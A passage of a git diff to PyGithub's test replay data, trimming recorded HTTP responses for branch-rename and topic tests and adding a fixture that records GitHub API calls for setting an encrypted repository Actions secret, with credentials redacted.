m/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"parents":[{"sha":"93b92cd2fce560080dc66aef3b94427623046c5d","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/93b92cd2fce560080dc66aef3b94427623046c5d","html_url":"https://github.com/jacquev6/PyGithub/commit/93b92cd2fce560080dc66aef3b94427623046c5d"}]},"_links":{"self":"https://api.github.com/repos/jacquev6/PyGithub/branches/terrible-idea","html":"https://github.com/jacquev6/PyGithub/tree/terrible-idea"},"protected":false,"protection":{"enabled":false,"required_status_checks":{"enforcement_level":"off","contexts":[]}},"protection_url":"https://api.github.com/repos/jacquev6/PyGithub/branches/terrible-idea/protection"} - diff --git a/tests/ReplayData/Repository.testRenameBranchString.txt b/tests/ReplayData/Repository.testRenameBranchString.txt index 193c642eda..c6805b5319 100644 --- a/tests/ReplayData/Repository.testRenameBranchString.txt +++ b/tests/ReplayData/Repository.testRenameBranchString.txt @@ -8,4 +8,3 @@ None 201 [('Server', 'GitHub.com'), ('Date', 'Sat, 23 Oct 2021 04:32:07 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '3748'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"21b924f024389f2dad56ec7b61664d88fa432e59b6068797da15b3b1718799a1"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4996'), ('X-RateLimit-Reset', '1634967125'), ('X-RateLimit-Used', '4'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '8302:7C71:69CE3F:710812:61739046')] {"name":"terrible-idea","commit":{"sha":"dbfbf7f07b81d616d4da032bcfa7ca90dcd79575","node_id":"C_kwDOB7W4ZNoAKGRiZmJmN2YwN2I4MWQ2MTZkNGRhMDMyYmNmYTdjYTkwZGNkNzk1NzU","commit":{"author":{"name":"Steve Kowalik","email":"steven@wedontsleep.org","date":"2021-10-21T04:06:06Z"},"committer":{"name":"Steve Kowalik","email":"steven@wedontsleep.org","date":"2021-10-21T04:06:06Z"},"message":"WIP: branch rename","tree":{"sha":"81e30fe50ff2b1c8e8cb819d181b3a285e9a9c94","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/81e30fe50ff2b1c8e8cb819d181b3a285e9a9c94"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/dbfbf7f07b81d616d4da032bcfa7ca90dcd79575","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/dbfbf7f07b81d616d4da032bcfa7ca90dcd79575","html_url":"https://github.com/jacquev6/PyGithub/commit/dbfbf7f07b81d616d4da032bcfa7ca90dcd79575","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/dbfbf7f07b81d616d4da032bcfa7ca90dcd79575/comments","author":{"login":"jacquev6","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"committer":{"login":"jacquev6","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"parents":[{"sha":"93b92cd2fce560080dc66aef3b94427623046c5d","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/93b92cd2fce560080dc66aef3b94427623046c5d","html_url":"https://github.com/jacquev6/PyGithub/commit/93b92cd2fce560080dc66aef3b94427623046c5d"}]},"_links":{"self":"https://api.github.com/repos/jacquev6/PyGithub/branches/terrible-idea","html":"https://github.com/jacquev6/PyGithub/tree/terrible-idea"},"protected":false,"protection":{"enabled":false,"required_status_checks":{"enforcement_level":"off","contexts":[]}},"protection_url":"https://api.github.com/repos/jacquev6/PyGithub/branches/terrible-idea/protection"} - diff --git a/tests/ReplayData/Repository.testReplaceTopics.txt b/tests/ReplayData/Repository.testReplaceTopics.txt index 9689b81f3e..758b94ae43 100644 --- a/tests/ReplayData/Repository.testReplaceTopics.txt +++ b/tests/ReplayData/Repository.testReplaceTopics.txt @@ -8,4 +8,3 @@ None 200 [('content-length', '30'), ('x-runtime-rack', '0.081855'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('etag', '"c34823528b2c41eadf247bcea3b7dabc"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('x-github-media-type', 'github.mercy-preview; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '4C20:5398:FE4A88:26DA323:5AD7F450'), ('date', 'Thu, 19 Apr 2018 01:43:45 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1524105758')] {"names": ["testing","github"]} - diff --git a/tests/ReplayData/Repository.testRepoSecrets.txt b/tests/ReplayData/Repository.testRepoSecrets.txt new file mode 100644 index 0000000000..f168b6c5ec --- /dev/null +++ b/tests/ReplayData/Repository.testRepoSecrets.txt @@ -0,0 +1,97 @@ +https +GET +api.github.com +None +/repos/AndrewJDawes/PyGithub +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Sat, 18 Nov 2023 21:47:17 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"68ec45d743bb1d53f805ddfd5ce767fe4c6f95f825f45853d143e7429d462251"'), ('Last-Modified', 'Sat, 18 Nov 2023 13:36:18 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4759'), ('X-RateLimit-Reset', '1700345195'), ('X-RateLimit-Used', '241'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ED08:205D:2FD52A:64D453:655930E5')] +{"id":713113574,"node_id":"R_kgDOKoE_5g","name":"PyGithub","full_name":"AndrewJDawes/PyGithub","private":false,"owner":{"login":"AndrewJDawes","id":53574062,"node_id":"MDQ6VXNlcjUzNTc0MDYy","avatar_url":"https://avatars.githubusercontent.com/u/53574062?v=4","gravatar_id":"","url":"https://api.github.com/users/AndrewJDawes","html_url":"https://github.com/AndrewJDawes","followers_url":"https://api.github.com/users/AndrewJDawes/followers","following_url":"https://api.github.com/users/AndrewJDawes/following{/other_user}","gists_url":"https://api.github.com/users/AndrewJDawes/gists{/gist_id}","starred_url":"https://api.github.com/users/AndrewJDawes/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/AndrewJDawes/subscriptions","organizations_url":"https://api.github.com/users/AndrewJDawes/orgs","repos_url":"https://api.github.com/users/AndrewJDawes/repos","events_url":"https://api.github.com/users/AndrewJDawes/events{/privacy}","received_events_url":"https://api.github.com/users/AndrewJDawes/received_events","type":"User","site_admin":false},"html_url":"https://github.com/AndrewJDawes/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/AndrewJDawes/PyGithub","forks_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/forks","keys_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/teams","hooks_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/events","assignees_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/tags","blobs_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/languages","stargazers_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/subscription","commits_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/merges","archive_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/downloads","issues_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/deployments","created_at":"2023-11-01T21:36:28Z","updated_at":"2023-11-18T13:36:18Z","pushed_at":"2023-11-18T21:26:15Z","git_url":"git://github.com/AndrewJDawes/PyGithub.git","ssh_url":"git@github.com:AndrewJDawes/PyGithub.git","clone_url":"https://github.com/AndrewJDawes/PyGithub.git","svn_url":"https://github.com/AndrewJDawes/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":11644,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":0,"watchers":0,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-11-17T07:50:23Z","pushed_at":"2023-11-18T21:45:47Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13598,"stargazers_count":6375,"watchers_count":6375,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1692,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":285,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1692,"open_issues":285,"watchers":6375,"default_branch":"main"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-11-17T07:50:23Z","pushed_at":"2023-11-18T21:45:47Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13598,"stargazers_count":6375,"watchers_count":6375,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1692,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":285,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1692,"open_issues":285,"watchers":6375,"default_branch":"main"},"security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"},"dependabot_security_updates":{"status":"disabled"}},"network_count":1692,"subscribers_count":0} + +https +GET +api.github.com +None +/repos/AndrewJDawes/PyGithub/actions/secrets/public-key +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Sat, 18 Nov 2023 21:47:17 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"67399725c68d9a5ee63ce84722fc582053e664007fe7d947d4f7399caa4bc6b5"'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4758'), ('X-RateLimit-Reset', '1700345195'), ('X-RateLimit-Used', '242'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ED09:2F85:2BEDD4:5D16BE:655930E5')] +{"key_id":"568250167242549743","key":"xbyho85Ug/ysuXTKJPangp/Yn66bsia6PY55UsDPM1g="} + +https +PUT +api.github.com +None +/repos/AndrewJDawes/PyGithub/actions/secrets/SECRET_NAME_ONE +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"key_id": "568250167242549743", "encrypted_value": "M+5Fm/BqTfB90h3nC7F3BoZuu3nXs+/KtpXwxm9gG211tbRo0F5UiN0OIfYT83CKcx9oKES9Va4E96/b"} +201 +[('Server', 'GitHub.com'), ('Date', 'Sat, 18 Nov 2023 21:47:18 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"a788642757746bcde9de92d247c2259aa7cd5f159df240323d704e110a35a374"'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4757'), ('X-RateLimit-Reset', '1700345195'), ('X-RateLimit-Used', '243'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'ED0A:5026:2BB5FC:5C9525:655930E5')] +{} + +https +GET +api.github.com +None +/repos/AndrewJDawes/PyGithub/actions/secrets/public-key +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Sat, 18 Nov 2023 21:47:18 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 